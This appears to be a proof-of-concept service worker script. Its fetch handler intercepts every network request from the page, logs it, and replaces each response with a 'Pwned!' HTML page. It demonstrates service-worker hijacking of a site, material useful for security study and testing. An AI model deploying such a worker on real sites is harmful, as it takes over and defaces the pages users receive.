self.addEventListener('install', event => {
    console.log('[*] Installing');
  });
self.addEventListener('activate', event => {
    console.log('[*] Activating');
});
self.addEventListener('fetch', function(event) { 
    // Intercept any network request
    console.log(event.request);
    // And view or modify the response
    let resp = fetch(event.request); 
    console.log(resp)
    event.respondWith(new Response("Pwned!", {headers:{'Content-Type': 'text/html'}})); 
})